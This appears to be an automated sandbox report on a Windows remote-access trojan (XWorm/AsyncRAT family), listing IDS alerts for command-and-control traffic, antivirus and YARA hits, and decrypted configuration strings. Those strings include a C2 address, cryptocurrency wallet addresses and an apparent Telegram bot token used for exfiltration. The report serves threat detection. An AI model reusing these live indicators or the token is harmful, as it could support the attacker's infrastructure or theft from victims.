2024-10-17T00:26:12.098554+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:26:12.764622+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:26:17.721563+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:26:20.537338+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:26:29.035136+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:26:42.093278+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP

ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-17T00:23:12.347752+0200	2852874	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:23:42.378257+0200	2852874	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:24:12.381741+0200	2852874	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:24:42.396798+0200	2852874	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:25:12.386381+0200	2852874	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:25:42.413793+0200	2852874	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:26:12.383469+0200	2852874	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:26:42.382988+0200	2852874	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP

ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-17T00:22:58.756750+0200	2852873	1	Malware Command and Control Activity Detected	192.168.2.6	49841	104.219.239.11	6969	TCP
2024-10-17T00:22:58.868312+0200	2852873	1	Malware Command and Control Activity Detected	192.168.2.6	49841	104.219.239.11	6969	TCP
2024-10-17T00:22:58.980482+0200	2852873	1	Malware Command and Control Activity Detected	192.168.2.6	49841	104.219.239.11	6969	TCP
2024-10-17T00:22:59.087171+0200	2852873	1	Malware Command and Control Activity Detected	192.168.2.6	49841	104.219.239.11	6969	TCP
2024-10-17T00:22:59.200778+0200	2852873	1	Malware Command and Control Activity Detected	192.168.2.6	49841	104.219.239.11	6969	TCP
2024-10-17T00:22:59.326211+0200	2852873	1	Malware Command and Control Activity Detected	192.168.2.6	49841	104.219.239.11	6969	TCP
2024-10-17T00:22:59.431434+0200	2852873	1	Malware Command and Control Activity Detected	192.168.2.6	49841	104.219.239.11	6969	TCP
2024-10-17T00:22:59.545732+0200	2852873	1	Malware Command and Control Activity Detected	192.168.2.6	49841	104.219.239.11	6969	TCP
2024-10-17T00:22:59.649937+0200	2852873	1	Malware Command and Control Activity Detected	192.168.2.6	49841	104.219.239.11	6969	TCP
2024-10-17T00:22:59.759677+0200	2852873	1	Malware Command and Control Activity Detected	192.168.2.6	49841	104.219.239.11	6969	TCP
2024-10-17T00:22:59.868781+0200	2852873	1	Malware Command and Control Activity Detected	192.168.2.6	49841	104.219.239.11	6969	TCP
2024-10-17T00:22:59.977484+0200	2852873	1	Malware Command and Control Activity Detected	192.168.2.6	49841	104.219.239.11	6969	TCP
2024-10-17T00:23:00.091605+0200	2852873	1	Malware Command and Control Activity Detected	192.168.2.6	49841	104.219.239.11	6969	TCP
2024-10-17T00:23:00.197078+0200	2852873	1	Malware Command and Control Activity Detected	192.168.2.6	49841	104.219.239.11	6969	TCP
2024-10-17T00:23:00.305782+0200	2852873	1	Malware Command and Control Activity Detected	192.168.2.6	49841	104.219.239.11	6969	TCP
2024-10-17T00:23:00.585708+0200	2852873	1	Malware Command and Control Activity Detected	192.168.2.6	49841	104.219.239.11	6969	TCP
2024-10-17T00:23:00.737184+0200	2852873	1	Malware Command and Control Activity Detected	192.168.2.6	49841	104.219.239.11	6969	TCP
2024-10-17T00:23:00.854379+0200	2852873	1	Malware Command and Control Activity Detected	192.168.2.6	49841	104.219.239.11	6969	TCP
2024-10-17T00:23:00.961972+0200	2852873	1	Malware Command and Control Activity Detected	192.168.2.6	49841	104.219.239.11	6969	TCP
2024-10-17T00:23:01.071482+0200	2852873	1	Malware Command and Control Activity Detected	192.168.2.6	49841	104.219.239.11	6969	TCP
2024-10-17T00:23:01.182029+0200	2852873	1	Malware Command and Control Activity Detected	192.168.2.6	49841	104.219.239.11	6969	TCP
2024-10-17T00:23:01.290048+0200	2852873	1	Malware Command and Control Activity Detected	192.168.2.6	49841	104.219.239.11	6969	TCP
2024-10-17T00:23:01.412724+0200	2852873	1	Malware Command and Control Activity Detected	192.168.2.6	49841	104.219.239.11	6969	TCP

ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-17T00:24:45.571519+0200	2853193	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP

ETPRO MALWARE Win32/XWorm V3 CnC Command - savePlugin Inbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-17T00:22:56.259148+0200	2853191	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP

ETPRO MALWARE Win32/XWorm V3 CnC Command - sendPlugin Outbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-17T00:22:55.800953+0200	2853192	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\arndry.exe

Avira: detection malicious, Label: TR/Spy.Gen

Multi AV Scanner detection for dropped file

Source: C:\Users\user\Documents\OneDrive.exe

ReversingLabs: Detection: 55%

Multi AV Scanner detection for submitted file

Source: b39wW3jYKO.exe

ReversingLabs: Detection: 55%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Documents\OneDrive.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: b39wW3jYKO.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 9.0.arndry.exe.1d0000.0.unpack	String decryptor: 104.219.239.11
Source: 9.0.arndry.exe.1d0000.0.unpack	String decryptor: 6969
Source: 9.0.arndry.exe.1d0000.0.unpack	String decryptor: <123456789>
Source: 9.0.arndry.exe.1d0000.0.unpack	String decryptor: <Xwormmm>
Source: 9.0.arndry.exe.1d0000.0.unpack	String decryptor: NEW
Source: 9.0.arndry.exe.1d0000.0.unpack	String decryptor: USB.exe
Source: 9.0.arndry.exe.1d0000.0.unpack	String decryptor: %AppData%
Source: 9.0.arndry.exe.1d0000.0.unpack	String decryptor: OneDrive.exe
Source: 9.0.arndry.exe.1d0000.0.unpack	String decryptor: bc1q4en48gkr2a0yqjdtp2sw5x0l6tam0wk276puvr
Source: 9.0.arndry.exe.1d0000.0.unpack	String decryptor: 0x3B6faE0078a049EA7829711330E040CF8298ae57
Source: 9.0.arndry.exe.1d0000.0.unpack	String decryptor: TN9bbwK3RTX7XhwqH1uDT7TPWmjPM8zKKm
Source: 9.0.arndry.exe.1d0000.0.unpack	String decryptor: 5372344229:AAEM46DF5hWBLPbN5UErJaoJvlNvm-ZJXyg
Source: 9.0.arndry.exe.1d0000.0.unpack	String decryptor: @Buddyv2bot

Source: b39wW3jYKO.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: Microsoft.VisualBasic.ni.pdb source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: System.Xml.ni.pdb source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: System.ni.pdbRSDS source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: b39wW3jYKO.exe, 00000000.00000002.4646804706.000001419AFB0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: b39wW3jYKO.exe, b39wW3jYKO.exe, 00000000.00000002.4646804706.000001419AFB0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdb source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: OneDrive.exe, 00000008.00000002.2581561823.0000012969141000.00000004.00000800.00020000.00000000.sdmp, OneDrive.exe, 00000008.00000002.2590105516.0000012971900000.00000004.08000000.00040000.00000000.sdmp, OneDrive.exe, 00000008.00000002.2581561823.00000129695E2000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdbRSDS7^3l source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: mscorlib.pdb0 source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: protobuf-net.pdb source: OneDrive.exe, 00000008.00000002.2581561823.0000012969141000.00000004.00000800.00020000.00000000.sdmp, OneDrive.exe, 00000008.00000002.2590105516.0000012971900000.00000004.08000000.00040000.00000000.sdmp, OneDrive.exe, 00000008.00000002.2581561823.00000129695E2000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: Microsoft.VisualBasic.ni.pdbRSDS& source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: System.Configuration.pdb source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: System.Core.pdbH source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: System.Xml.pdb source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: System.pdb source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: Microsoft.VisualBasic.pdb source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: System.Core.ni.pdb source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: mscorlib.pdb source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: System.Configuration.pdb8e source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: System.Management.ni.pdbRSDSJ< source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: System.Management.pdb source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: Microsoft.VisualBasic.pdbP4 source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: mscorlib.ni.pdb source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: System.Management.ni.pdb source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: System.Core.pdb source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: System.ni.pdb source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WER31B8.tmp.dmp.12.dr

Source: C:\Users\user\Desktop\b39wW3jYKO.exe	File opened: C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	File opened: C:\Windows\SYSTEM32\MSVFW32.dll	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	File opened: C:\Windows\SYSTEM32\en-US\avicap32.dll.mui	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	File opened: C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	File opened: C:\Windows\SYSTEM32\en-US\MSVFW32.dll.mui	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	File opened: C:\Windows\system32\wbem\en-US\wmiutils.dll.mui	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2853192 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - sendPlugin Outbound : 192.168.2.6:49809 -> 104.219.239.11:6969
Source: Network traffic	Suricata IDS: 2853191 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - savePlugin Inbound : 104.219.239.11:6969 -> 192.168.2.6:49809
Source: Network traffic	Suricata IDS: 2852873 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2 : 192.168.2.6:49841 -> 104.219.239.11:6969
Source: Network traffic	Suricata IDS: 2852923 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client) : 192.168.2.6:49841 -> 104.219.239.11:6969
Source: Network traffic	Suricata IDS: 2855924 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound : 192.168.2.6:49809 -> 104.219.239.11:6969
Source: Network traffic	Suricata IDS: 2852870 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes : 104.219.239.11:6969 -> 192.168.2.6:49809
Source: Network traffic	Suricata IDS: 2852923 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client) : 192.168.2.6:49809 -> 104.219.239.11:6969
Source: Network traffic	Suricata IDS: 2852874 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2 : 104.219.239.11:6969 -> 192.168.2.6:49809
Source: Network traffic	Suricata IDS: 2853193 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound : 192.168.2.6:49809 -> 104.219.239.11:6969

Yara detected Generic Downloader

Source: Yara match	File source: 9.0.arndry.exe.1d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\arndry.exe, type: DROPPED

Source: global traffic

TCP traffic: 192.168.2.6:49809 -> 104.219.239.11:6969

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: Joe Sandbox View

IP Address: 208.95.112.1 208.95.112.1

Source: Joe Sandbox View	ASN Name: TUT-ASUS TUT-ASUS
Source: Joe Sandbox View	ASN Name: DATAWAGONUS DATAWAGONUS

Source: unknown

DNS query: name: ip-api.com

Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.239.11

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: ip-api.com

Source: powershell.exe, 00000002.00000002.2330216159.000001949CC1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mic
Source: powershell.exe, 00000002.00000002.2330216159.000001949CC1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micft.cMicRosof
Source: arndry.exe, 00000009.00000002.2501821797.000000000244A000.00000004.00000800.00020000.00000000.sdmp, arndry.exe, 00000009.00000002.2501821797.0000000002454000.00000004.00000800.00020000.00000000.sdmp, arndry.exe, 00000009.00000002.2501821797.000000000243C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com
Source: arndry.exe, 00000009.00000002.2499722879.000000000065C000.00000004.00000020.00020000.00000000.sdmp, arndry.exe, 00000009.00000002.2501821797.000000000239D000.00000004.00000800.00020000.00000000.sdmp, arndry.exe, 00000009.00000000.2419775202.00000000001D2000.00000002.00000001.01000000.00000009.sdmp, arndry.exe.0.dr	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: b39wW3jYKO.exe, 00000000.00000002.4651442435.000001419C0E0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://james.newtonking.com/projects/json
Source: powershell.exe, 00000002.00000002.2319507770.00000194948FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000002.00000002.2291460980.0000019484AB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.2291460980.0000019484AB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: b39wW3jYKO.exe, 00000000.00000002.4618510904.00000141820D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2291460980.0000019484891000.00000004.00000800.00020000.00000000.sdmp, arndry.exe, 00000009.00000002.2501821797.000000000243C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000002.00000002.2291460980.0000019484AB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: Amcache.hve.12.dr	String found in binary or memory: http://upx.sf.net
Source: powershell.exe, 00000002.00000002.2291460980.0000019484AB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: tmpE9CD.tmp.dat.0.dr, tmp8A2A.tmp.dat.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000002.00000002.2291460980.0000019484891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: arndry.exe, 00000009.00000000.2419775202.00000000001D2000.00000002.00000001.01000000.00000009.sdmp, arndry.exe.0.dr	String found in binary or memory: https://api.telegram.org/bot
Source: tmpE9CD.tmp.dat.0.dr, tmp8A2A.tmp.dat.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: tmpE9CD.tmp.dat.0.dr, tmp8A2A.tmp.dat.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: tmpE9CD.tmp.dat.0.dr, tmp8A2A.tmp.dat.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 00000002.00000002.2319507770.00000194948FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000002.00000002.2319507770.00000194948FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000002.00000002.2319507770.00000194948FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: tmpE9CD.tmp.dat.0.dr, tmp8A2A.tmp.dat.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: tmpE9CD.tmp.dat.0.dr, tmp8A2A.tmp.dat.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: tmpE9CD.tmp.dat.0.dr, tmp8A2A.tmp.dat.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: b39wW3jYKO.exe, 00000000.00000002.4618510904.00000141820D1000.00000004.00000800.00020000.00000000.sdmp, b39wW3jYKO.exe, 00000000.00000002.4651442435.000001419C0E0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/LimerBoy/StormKitty
Source: powershell.exe, 00000002.00000002.2291460980.0000019484AB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: OneDrive.exe, 00000008.00000002.2581561823.0000012969141000.00000004.00000800.00020000.00000000.sdmp, OneDrive.exe, 00000008.00000002.2590105516.0000012971900000.00000004.08000000.00040000.00000000.sdmp, OneDrive.exe, 00000008.00000002.2581561823.00000129695E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: OneDrive.exe, 00000008.00000002.2581561823.0000012969141000.00000004.00000800.00020000.00000000.sdmp, OneDrive.exe, 00000008.00000002.2590105516.0000012971900000.00000004.08000000.00040000.00000000.sdmp, OneDrive.exe, 00000008.00000002.2581561823.00000129695E2000.00000004.00000800.00020000.00000000.sdmp, OneDrive.exe, 0000000E.00000002.2657598951.0000019A37398000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: OneDrive.exe, 00000008.00000002.2581561823.0000012969141000.00000004.00000800.00020000.00000000.sdmp, OneDrive.exe, 00000008.00000002.2590105516.0000012971900000.00000004.08000000.00040000.00000000.sdmp, OneDrive.exe, 00000008.00000002.2581561823.00000129695E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: powershell.exe, 00000002.00000002.2319507770.00000194948FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: OneDrive.exe, 00000008.00000002.2581561823.0000012969141000.00000004.00000800.00020000.00000000.sdmp, OneDrive.exe, 00000008.00000002.2590105516.0000012971900000.00000004.08000000.00040000.00000000.sdmp, OneDrive.exe, 00000008.00000002.2581561823.00000129695E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: b39wW3jYKO.exe, 00000000.00000002.4618510904.00000141820D1000.00000004.00000800.00020000.00000000.sdmp, OneDrive.exe, 00000008.00000002.2581561823.0000012969141000.00000004.00000800.00020000.00000000.sdmp, OneDrive.exe, 00000008.00000002.2577826782.00000129591E0000.00000004.00000800.00020000.00000000.sdmp, OneDrive.exe, 00000008.00000002.2590105516.0000012971900000.00000004.08000000.00040000.00000000.sdmp, OneDrive.exe, 00000008.00000002.2581561823.00000129695E2000.00000004.00000800.00020000.00000000.sdmp, OneDrive.exe, 0000000E.00000002.2653178477.0000019A26F9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: OneDrive.exe, 00000008.00000002.2581561823.0000012969141000.00000004.00000800.00020000.00000000.sdmp, OneDrive.exe, 00000008.00000002.2590105516.0000012971900000.00000004.08000000.00040000.00000000.sdmp, OneDrive.exe, 00000008.00000002.2581561823.00000129695E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354
Source: tmpBE60.tmp.dat.0.dr	String found in binary or memory: https://support.mozilla.org
Source: tmpBE60.tmp.dat.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: tmpBE60.tmp.dat.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: b39wW3jYKO.exe, 00000000.00000002.4651442435.000001419C0E0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://urn.to/r/sds_see
Source: b39wW3jYKO.exe, 00000000.00000002.4651442435.000001419C0E0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://urn.to/r/sds_seeaCould
Source: tmpE9CD.tmp.dat.0.dr, tmp8A2A.tmp.dat.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: tmpE9CD.tmp.dat.0.dr, tmp8A2A.tmp.dat.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: b39wW3jYKO.exe, 00000000.00000002.4636065933.000001419265B000.00000004.00000800.00020000.00000000.sdmp, places.raw.0.dr, tmpBE60.tmp.dat.0.dr	String found in binary or memory: https://www.mozilla.org
Source: tmpBE60.tmp.dat.0.dr	String found in binary or memory: https://www.mozilla.org#
Source: tmpBE60.tmp.dat.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: tmpBE60.tmp.dat.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: tmpBE60.tmp.dat.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: b39wW3jYKO.exe, 00000000.00000002.4651442435.000001419C0E0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.newtonsoft.com/jsonschema
Source: b39wW3jYKO.exe, 00000000.00000002.4651442435.000001419C0E0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.nuget.org/packages/Newtonsoft.Json.Bson

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: arndry.exe.0.dr, XLogger.cs

.Net Code: KeyboardLayout

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.b39wW3jYKO.exe.1419b110000.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing artifcats associated with disabling Widnows Defender Author: ditekSHen
Source: 0.2.b39wW3jYKO.exe.1419b110000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing artifcats associated with disabling Widnows Defender Author: ditekSHen
Source: 9.0.arndry.exe.1d0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.b39wW3jYKO.exe.1419c0e0000.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.b39wW3jYKO.exe.1419c0e0000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 00000000.00000002.4647563742.000001419B000000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000009.00000000.2419775202.00000000001D2000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000000.00000002.4648624073.000001419B110000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables containing artifcats associated with disabling Widnows Defender Author: ditekSHen
